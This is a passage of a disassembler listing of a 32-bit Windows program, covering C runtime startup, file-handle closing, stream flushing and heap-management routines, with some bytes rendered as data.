eax call sub_420CE8 pop ecx loc_420E66: ; CODE XREF: start-C31A3j mov [ebp-44h], esi lea eax, [ebp-70h] push eax call ds:dword_42B1A4 ; GetStartupInfoA call sub_42638A mov [ebp-20h], eax test byte ptr [ebp-44h], 1 jz short loc_420E87 movzx eax, word ptr [ebp-40h] jmp short loc_420E8A ; --------------------------------------------------------------------------- loc_420E87: ; CODE XREF: start-C3181j push 0Ah pop eax loc_420E8A: ; CODE XREF: start-C317Bj push eax push dword ptr [ebp-20h] push esi push esi call edi ; GetModuleHandleA push eax call sub_40A263 mov edi, eax mov [ebp-2Ch], edi cmp [ebp-1Ch], esi jnz short loc_420EA8 push edi call sub_41F271 loc_420EA8: ; CODE XREF: start-C3160j call sub_41F293 jmp short loc_420EDA ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- aLeLLImPqsys db '‹Eì‹',8,'‹',9,'‰MÜPQèYS',0 align 10h aYyLeslGF db 'YYËeè‹}܃}ä',0 db 75h, 6, 57h dd 0FFE3ADE8h, 0E3C8E8FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_420EDA: ; CODE XREF: start-C3153j or dword ptr [ebp-4], 0FFFFFFFFh mov eax, edi lea esp, [ebp-7Ch] call sub_425F4F retn ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_420EE9 proc near ; CODE XREF: sub_41E24B+2Ap ; sub_426A43+2C5p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, ds:dword_4E2B98 jnb loc_420F83 mov eax, edi sar eax, 5 mov esi, edi and esi, 1Fh lea ebx, ds:4E2BA0h[eax*4] mov eax, [ebx] shl esi, 3 test byte ptr [eax+esi+4], 1 jz short loc_420F83 push edi call sub_42696C cmp eax, 0FFFFFFFFh pop ecx jz short loc_420F62 cmp edi, 1 jz short loc_420F30 cmp edi, 2 jnz short loc_420F46 loc_420F30: ; CODE XREF: sub_420EE9+40j push 2 call sub_42696C push 1 mov ebp, eax call sub_42696C cmp eax, ebp pop ecx pop ecx jz short loc_420F62 loc_420F46: ; CODE XREF: sub_420EE9+45j push edi call sub_42696C pop ecx push eax call ds:dword_42B004 ; CloseHandle test eax, eax jnz short loc_420F62 call ds:dword_42B01C ; RtlGetLastWin32Error mov ebp, eax jmp short loc_420F64 ; --------------------------------------------------------------------------- loc_420F62: ; CODE XREF: sub_420EE9+3Bj ; sub_420EE9+5Bj ... xor ebp, ebp loc_420F64: ; CODE XREF: sub_420EE9+77j push edi call sub_4268F2 test ebp, ebp mov eax, [ebx] pop ecx mov byte ptr [eax+esi+4], 0 jz short loc_420F7F push ebp call sub_422C0F pop ecx jmp short loc_420F94 ; --------------------------------------------------------------------------- loc_420F7F: ; CODE XREF: sub_420EE9+8Bj xor eax, eax jmp short loc_420F97 ; --------------------------------------------------------------------------- loc_420F83: ; CODE XREF: sub_420EE9+Ej ; sub_420EE9+2Fj and ds:dword_4E28F8, 0 mov ds:dword_4E28F4, 9 loc_420F94: ; CODE XREF: sub_420EE9+94j or eax, 0FFFFFFFFh loc_420F97: ; CODE XREF: sub_420EE9+98j pop edi pop esi pop ebp pop ebx retn sub_420EE9 endp ; =============== S U B R O U T I N E ======================================= sub_420F9C proc near ; CODE XREF: sub_41E24B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_420FC5 test al, 8 jz short loc_420FC5 push dword ptr [esi+8] call sub_41E2A1 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_420FC5: ; CODE XREF: sub_420F9C+Aj ; sub_420F9C+Ej pop esi retn sub_420F9C endp ; =============== S U B R O U T I N E ======================================= sub_420FC7 proc near ; CODE XREF: sub_41E24B+1Ap ; seg000:00420801p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] mov eax, [esi+0Ch] mov ecx, eax and cl, 3 xor ebx, ebx cmp cl, 2 jnz short loc_421016 test ax, 108h jz short loc_421016 mov eax, [esi+8] push edi mov edi, [esi] sub edi, eax test edi, edi jle short loc_421015 push edi push eax push dword ptr [esi+10h] call sub_425882 add esp, 0Ch cmp eax, edi jnz short loc_42100E mov eax, [esi+0Ch] test al, al jns short loc_421015 and eax, 0FFFFFFFDh mov [esi+0Ch], eax jmp short loc_421015 ; --------------------------------------------------------------------------- loc_42100E: ; CODE XREF: sub_420FC7+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_421015: ; CODE XREF: sub_420FC7+25j ; sub_420FC7+3Dj ... pop edi loc_421016: ; CODE XREF: sub_420FC7+13j ; sub_420FC7+19j mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop esi mov eax, ebx pop ebx retn sub_420FC7 endp ; --------------------------------------------------------------------------- dd 24748B56h, 75F68508h, 2CE85609h, 59000000h, 0E856C35Eh dd 0FFFFFF8Bh, 7459C085h, 0FFC88305h, 46F6C35Eh, 0F74400Dh dd 0E81076FFh, 5954h, 1BD8F759h, 33C35EC0h, 53C35EC0h dd 0F6335756h, 0FF33DB33h, 3F203539h, 4D7E004Eh, 4E2F08A1h dd 0B0048B00h, 3874C085h, 0F60C488Bh, 307483C1h, 10247C83h dd 500F7501h, 0FFFF93E8h, 0FFF883FFh, 431D7459h, 7C831AEBh dd 75001024h, 2C1F613h, 0E8500E74h, 0FFFFFF78h, 59FFF883h dd 0F80B0275h, 20353B46h, 7C004E3Fh, 247C83B3h, 0C38B0110h dd 0C78B0274h, 0C35B5E5Fh, 8CE8016Ah, 59FFFFFFh db 0C3h ; =============== S U B R O U T I N E ======================================= sub_4210D5 proc near ; CODE XREF: sub_4210EF+20p cmp ds:dword_4E2900, 2 jnz short loc_4210EB cmp ds:dword_4E290C, 5 jb short loc_4210EB xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_4210EB: ; CODE XREF: sub_4210D5+7j ; sub_4210D5+10j push 3 pop eax retn sub_4210D5 endp ; =============== S U B R O U T I N E ======================================= sub_4210EF proc near ; CODE XREF: start-C322Bp arg_0 = dword ptr 4 xor eax, eax cmp [esp+arg_0], eax push 0 setz al push 1000h push eax call ds:dword_42B1B0 ; HeapCreate test eax, eax mov ds:dword_4E2EFC, eax jz short loc_421139 call sub_4210D5 cmp eax, 3 mov ds:dword_4E2F00, eax jnz short loc_42113C push 3F8h call sub_421140 test eax, eax pop ecx jnz short loc_42113C push ds:dword_4E2EFC call ds:dword_42B1AC ; HeapDestroy loc_421139: ; CODE XREF: sub_4210EF+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_42113C: ; CODE XREF: sub_4210EF+2Dj ; sub_4210EF+3Cj xor eax, eax inc eax retn sub_4210EF endp ; =============== S U B R O U T I N E ======================================= sub_421140 proc near ; CODE XREF: sub_4210EF+34p arg_0 = dword ptr 4 push 140h push 0 push ds:dword_4E2EFC call ds:dword_42B0E4 ; RtlAllocateHeap test eax, eax mov ds:dword_4E2EE8, eax jnz short loc_42115D retn ; --------------------------------------------------------------------------- loc_42115D: ; CODE XREF: sub_421140+1Aj mov ecx, [esp+arg_0] and ds:dword_4E2EE0, 0 and ds:dword_4E2EE4, 0 mov ds:dword_4E2EF0, eax xor eax, eax mov ds:dword_4E2EEC, ecx mov ds:dword_4E2EF4, 10h inc eax retn sub_421140 endp ; =============== S U B R O U T I N E ======================================= sub_421188 proc near ; CODE XREF: sub_41E2A1+13p ; sub_41E3C2+48p ... arg_0 = dword ptr 4 mov eax, ds:dword_4E2EE4 lea ecx, [eax+eax*4] mov eax, ds:dword_4E2EE8 lea ecx, [eax+ecx*4] jmp short loc_4211AC ; --------------------------------------------------------------------------- loc_42119A: ; CODE XREF: sub_421188+26j mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_4211B2 add eax, 14h loc_4211AC: ; CODE XREF: sub_421188+10j cmp eax, ecx jb short loc_42119A xor eax, eax locret_4211B2: ; CODE XREF: sub_421188+1Fj retn sub_421188 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4211B3 proc near ; CODE XREF: sub_41E2A1+1Fp ; sub_41E3C2+9Cp ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] mov eax, [ecx+10h] push esi mov esi, [ebp+arg_4] push edi mov edi, esi sub edi, [ecx+0Ch] add esi, 0FFFFFFFCh shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_4214C7 push ebx lea ebx, [ecx+esi] mov edx, [ebx] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_42127E sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_421216 push 3Fh pop edx loc_421216: ; CODE XREF: sub_4211B3+5Ej mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_421260 cmp edx, 20h mov ebx, 80000000h jnb short loc_421241 mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_42125D mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_42125D ; --------------------------------------------------------------------------- loc_421241: ; CODE XREF: sub_4211B3+73j lea ecx, [edx-20h] shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_42125D mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_42125D: ; CODE XREF: sub_4211B3+85j ; sub_4211B3+8Cj ... mov ebx, [ebp+arg_4] loc_421260: ; CODE XREF: sub_4211B3+69j mov edx, [ebx+8] mov ebx, [ebx+4] mov ecx, [ebp+var_4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx mov [ebp+var_4], ecx loc_42127E: ; CODE XREF: sub_4211B3+55j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_42128C push 3Fh pop edx loc_42128C: ; CODE XREF: sub_4211B3+D4j mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_42132A sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_4212B1 mov ebx, esi loc_4212B1: ; CODE XREF: sub_4211B3+FAj add ecx, [ebp+var_8] mov edx, ecx sar edx, 4 dec edx cmp edx, esi mov [ebp+var_4], ecx jbe short loc_4212C3 mov edx, esi loc_4212C3: ; CODE XREF: sub_4211B3+10Cj cmp ebx, edx jz short loc_421325 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_42130D cmp ebx, 20h mov esi, 80000000h jnb short loc_4212F3 mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_42130D mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_42130D ; --------------------------------------------------------------------------- loc_4212F3: ; CODE XREF: sub_4211B3+127j lea ecx, [ebx-20h] shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_42130D mov ecx, [ebp+arg_0] and [ecx+4], esi loc_42130D: ; CODE XREF: sub_4211B3+11Dj ; sub_4211B3+137j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_421325: ; CODE XREF: sub_4211B3+112j mov esi, [ebp+arg_4] jmp short loc_42132D ; --------------------------------------------------------------------------- loc_42132A: ; CODE XREF: sub_4211B3+E2j mov ebx, [ebp+arg_0] loc_42132D: ; CODE XREF: sub_4211B3+175j cmp [ebp+var_C], 0 jnz short loc_42133B cmp ebx, edx jz loc_4213BB loc_42133B: ; CODE XREF: sub_4211B3+17Ej mov ecx, [ebp+var_10] lea ecx, [ecx+edx*8] mov ebx, [ecx+4] mov [esi+8], ecx mov [esi+4], ebx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_4213BB mov cl, [edx+eax+4] mov byte ptr [ebp+arg_4+3], cl inc cl cmp edx, 20h mov [edx+eax+4], cl jnb short loc_421392 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_421381 mov ecx, edx mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_421381: ; CODE XREF: sub_4211B3+1BEj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_4213BB ; --------------------------------------------------------------------------- loc_421392: ; CODE XREF: sub_4211B3+1B8j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_4213A8 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_4213A8: ; CODE XREF: sub_4211B3+1E3j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_4213BB: ; CODE XREF: sub_4211B3+182j ; sub_4211B3+1A6j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_4214C6 mov eax, ds:dword_4E2EE0 test eax, eax jz loc_4214B8 mov ecx, ds:dword_4E2EF8 mov esi, ds:dword_42B1B4 push 4000h shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push ebx push ecx call esi ; VirtualFree mov ecx, ds:dword_4E2EF8 mov eax, ds:dword_4E2EE0 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, ds:dword_4E2EE0 mov eax, [eax+10h] mov ecx, ds:dword_4E2EF8 and dword ptr [eax+ecx*4+0C4h], 0 mov eax, ds:dword_4E2EE0 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, ds:dword_4E2EE0 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_421449 and dword ptr [eax+4], 0FFFFFFFEh mov eax, ds:dword_4E2EE0 loc_421449: ; CODE XREF: sub_4211B3+28Bj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_4214B8 push ebx push 0 push dword ptr [eax+0Ch] call esi ; VirtualFree mov eax, ds:dword_4E2EE0 push dword ptr [eax+10h] push 0 push ds:dword_4E2EFC call ds:dword_42B0E0 ; RtlFreeHeap mov eax, ds:dword_4E2EE4 mov edx, ds:dword_4E2EE8 lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, ds:dword_4E2EE0 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41F980 mov eax, [ebp+arg_0] add esp, 0Ch dec ds:dword_4E2EE4 cmp eax, ds:dword_4E2EE0 jbe short loc_4214AE sub [ebp+arg_0], 14h loc_4214AE: ; CODE XREF: sub_4211B3+2F5j mov eax, ds:dword_4E2EE8 mov ds:dword_4E2EF0, eax loc_4214B8: ; CODE XREF: sub_4211B3+223j ; sub_4211B3+29Aj mov eax, [ebp+arg_0] mov ds:dword_4E2EE0, eax mov ds:dword_4E2EF8, edi loc_4214C6: ; CODE XREF: sub_4211B3+216j pop ebx loc_4214C7: ; CODE XREF: sub_4211B3+37j pop edi pop esi leave retn sub_4211B3 endp ; =============== S U B R O U T I N E ======================================= sub_4214CB proc near ; CODE XREF: sub_421967+150p mov eax, ds:dword_4E2EE4 mov ecx, ds:dword_4E2EF4 push edi xor edi, edi cmp eax, ecx jnz short loc_421511 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push ds:dword_4E2EE8 push edi push ds:dword_4E2EFC call ds:dword_42B194 ; RtlReAllocateHeap cmp eax, edi jnz short loc_421500 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_421500: ; CODE XREF: sub_4214CB+2Fj add ds:dword_4E2EF4, 10h mov ds:dword_4E2EE8, eax mov eax, ds:dword_4E2EE4 loc_421511: ; CODE XREF: sub_4214CB+10j mov ecx, ds:dword_4E2EE8 push esi push 41C4h push 8 push ds:dword_4E2EFC lea eax, [eax+eax*4] lea esi, [ecx+eax*4] call ds:dword_42B0E4 ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jnz short loc_42153C loc_421538: ; CODE XREF: sub_4214CB+9Bj xor eax, eax jmp short loc_42157F ; --------------------------------------------------------------------------- loc_42153C: ; CODE XREF: sub_4214CB+6Bj push 4 push 2000h push 100000h push edi call ds:dword_42B1B8 ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_421568 push dword ptr [esi+10h] push edi push ds:dword_4E2EFC call ds:dword_42B0E0 ; RtlFreeHeap jmp short loc_421538 ; --------------------------------------------------------------------------- loc_421568: ; CODE XREF: sub_4214CB+89j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc ds:dword_4E2EE4 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_42157F: ; CODE XREF: sub_4214CB+6Fj pop esi pop edi retn sub_4214CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421582 proc near ; CODE XREF: sub_421967+15Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov ecx, [ebp+arg_0] mov eax, [ecx+8] push ebx push esi mov esi, [ecx+10h] push edi xor ebx, ebx jmp short loc_42159A ; --------------------------------------------------------------------------- loc_421597: ; CODE XREF: sub_421582+1Aj shl eax, 1 inc ebx loc_42159A: ; CODE XREF: sub_421582+13j test eax, eax jge short loc_421597 mov eax, ebx imul eax, 204h lea eax, [eax+esi+144h] push 3Fh mov [ebp+var_8], eax pop edx loc_4215B3: ; CODE XREF: sub_421582+3Bj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_4215B3 push 4 mov edi, ebx push 1000h shl edi, 0Fh add edi, [ecx+0Ch] push 8000h push edi call ds:dword_42B1B8 ; VirtualAlloc test eax, eax jnz short loc_4215E6 or eax, 0FFFFFFFFh jmp loc_421683 ; --------------------------------------------------------------------------- loc_4215E6: ; CODE XREF: sub_421582+5Aj lea edx, [edi+7000h] cmp edi, edx mov [ebp+var_4], edx ja short loc_421636 mov ecx, edx sub ecx, edi shr ecx, 0Ch lea eax, [edi+10h] inc ecx loc_4215FE: ; CODE XREF: sub_421582+AFj or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea edx, [eax+0FFCh] mov [eax], edx lea edx, [eax-1004h] mov dword ptr [eax-4], 0FF0h mov [eax+4], edx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h dec ecx jnz short loc_4215FE mov edx, [ebp+var_4] loc_421636: ; CODE XREF: sub_421582+6Fj mov eax, [ebp+var_8] add eax, 1F8h lea ecx, [edi+0Ch] mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 xor edi, edi inc edi mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_421673 or [eax+4], edi loc_421673: ; CODE XREF: sub_421582+ECj mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_421683: ; CODE XREF: sub_421582+5Fj pop edi pop esi pop ebx leave retn sub_421582 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421688 proc near ; CODE XREF: sub_41E3C2+63p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ecx+10h] push ebx push esi mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov edx, edi sub edx, [ecx+0Ch] add esi, 17h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] and esi, 0FFFFFFF0h dec ecx cmp esi, ecx lea edi, [ecx+edi-4] mov ebx, [edi] mov [ebp+arg_8], ecx mov [ebp+var_4], ebx jle loc_42182A test bl, 1 jnz loc_421823 add ebx, ecx cmp esi, ebx jg loc_421823 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_4216FD push 3Fh pop ecx mov [ebp+var_8], ecx loc_4216FD: ; CODE XREF: sub_421688+6Dj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_421748 cmp ecx, 20h mov ebx, 80000000h jnb short loc_421729 shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_421748 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_421748 ; --------------------------------------------------------------------------- loc_421729: ; CODE XREF: sub_421688+85j add ecx, 0FFFFFFE0h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_421748 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_421748: ; CODE XREF: sub_421688+7Bj ; sub_421688+98j ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_421811 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi cmp edi, 3Fh lea ecx, [ecx+esi-4] jbe short loc_421782 push 3Fh pop edi loc_421782: ; CODE XREF: sub_421688+F5j mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_4217FF mov cl, [edi+eax+4] mov byte ptr [ebp+arg_8+3], cl inc cl cmp edi, 20h mov [edi+eax+4], cl jnb short loc_4217D6 cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_4217CE mov ecx, edi mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_4217CE: ; CODE XREF: sub_421688+136j lea eax, [eax+edx*4+44h] mov ecx, edi jmp short loc_4217F6 ; --------------------------------------------------------------------------- loc_4217D6: ; CODE XREF: sub_421688+130j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_4217EC lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_4217EC: ; CODE XREF: sub_421688+152j lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] loc_4217F6: ; CODE XREF: sub_421688+14Cj mov edx, 80000000h shr edx, cl or [eax], edx loc_4217FF: ; CODE XREF: sub_421688+11Ej mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_421814 ; --------------------------------------------------------------------------- loc_421811: ; CODE XREF: sub_421688+DEj mov edx, [ebp+arg_4] loc_421814: ; CODE XREF: sub_421688+187j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_42195F ; --------------------------------------------------------------------------- loc_421823: ; CODE XREF: sub_421688+50j ; sub_421688+5Aj xor eax, eax jmp loc_421962 ; --------------------------------------------------------------------------- loc_42182A: ; CODE XREF: sub_421688+47j jge loc_42195F mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] sar esi, 4 dec esi cmp esi, 3Fh mov [ebp+arg_4], ebx mov [ebx-4], ecx jbe short loc_421855 push 3Fh pop esi loc_421855: ; CODE XREF: sub_421688+1C8j test byte ptr [ebp+var_4], 1 jnz loc_4218DF mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_42186E push 3Fh pop esi loc_42186E: ; CODE XREF: sub_421688+1E1j mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_4218B8 cmp esi, 20h mov ebx, 80000000h jnb short loc_421899 mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_4218B5 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_4218B5 ; --------------------------------------------------------------------------- loc_421899: ; CODE XREF: sub_421688+1F6j lea ecx, [esi-20h] shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_4218B5 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_4218B5: ; CODE XREF: sub_421688+208j ; sub_421688+20Fj ... mov ebx, [ebp+arg_4] loc_4218B8: ; CODE XREF: sub_421688+1ECj mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov esi, [edi+8] mov ecx, [edi+4] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_4218DF push 3Fh pop esi loc_4218DF: ; CODE XREF: sub_421688+1D1j ; sub_421688+252j mov ecx, [ebp+var_C] lea ecx, [ecx+esi*8] mov edi, [ecx+4] mov [ebx+8], ecx mov [ebx+4], edi mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_421956 mov cl, [esi+eax+4] mov byte ptr [ebp+arg_4+3], cl inc cl cmp esi, 20h mov [esi+eax+4], cl jnb short loc_42192D cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_421925 mov ecx, esi mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_421925: ; CODE XREF: sub_421688+28Dj lea eax, [eax+edx*4+44h] mov ecx, esi jmp short loc_42194D ; --------------------------------------------------------------------------- loc_42192D: ; CODE XREF: sub_421688+287j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_421943 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_421943: ; CODE XREF: sub_421688+2A9j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] loc_42194D: ; CODE XREF: sub_421688+2A3j mov edx, 80000000h shr edx, cl or [eax], edx loc_421956: ; CODE XREF: sub_421688+275j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_42195F: ; CODE XREF: sub_421688+196j ; sub_421688:loc_42182Aj xor eax, eax inc eax loc_421962: ; CODE XREF: sub_421688+19Dj pop edi pop esi pop ebx leave retn sub_421688 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421967 proc near ; CODE XREF: sub_41E3C2+74p ; sub_41E561+17p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov ecx, [ebp+arg_0] mov eax, ds:dword_4E2EE4 mov edx, ds:dword_4E2EE8 add ecx, 17h and ecx, 0FFFFFFF0h push ebx mov [ebp+var_10], ecx sar ecx, 4 push esi lea eax, [eax+eax*4] push edi dec ecx cmp ecx, 20h lea edi, [edx+eax*4] mov [ebp+var_4], edi jge short loc_4219A4 or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh jmp short loc_4219B1 ; --------------------------------------------------------------------------- loc_4219A4: ; CODE XREF: sub_421967+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_8], eax loc_4219B1: ; CODE XREF: sub_421967+3Bj mov eax, ds:dword_4E2EF0 mov ebx, eax mov [ebp+var_C], esi cmp ebx, edi jmp short loc_4219D3 ; --------------------------------------------------------------------------- loc_4219BF: ; CODE XREF: sub_421967+6Fj mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_4219D8 add ebx, 14h cmp ebx, [ebp+var_4] loc_4219D3: ; CODE XREF: sub_421967+56j mov [ebp+arg_0], ebx jb short loc_4219BF loc_4219D8: ; CODE XREF: sub_421967+64j cmp ebx, [ebp+var_4] jnz short loc_421A01 mov ebx, edx jmp short loc_4219F2 ; --------------------------------------------------------------------------- loc_4219E1: ; CODE XREF: sub_421967+90j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_4219F9 add ebx, 14h loc_4219F2: ; CODE XREF: sub_421967+78j cmp ebx, eax mov [ebp+arg_0], ebx jb short loc_4219E1 loc_4219F9: ; CODE XREF: sub_421967+86j cmp ebx, eax jz 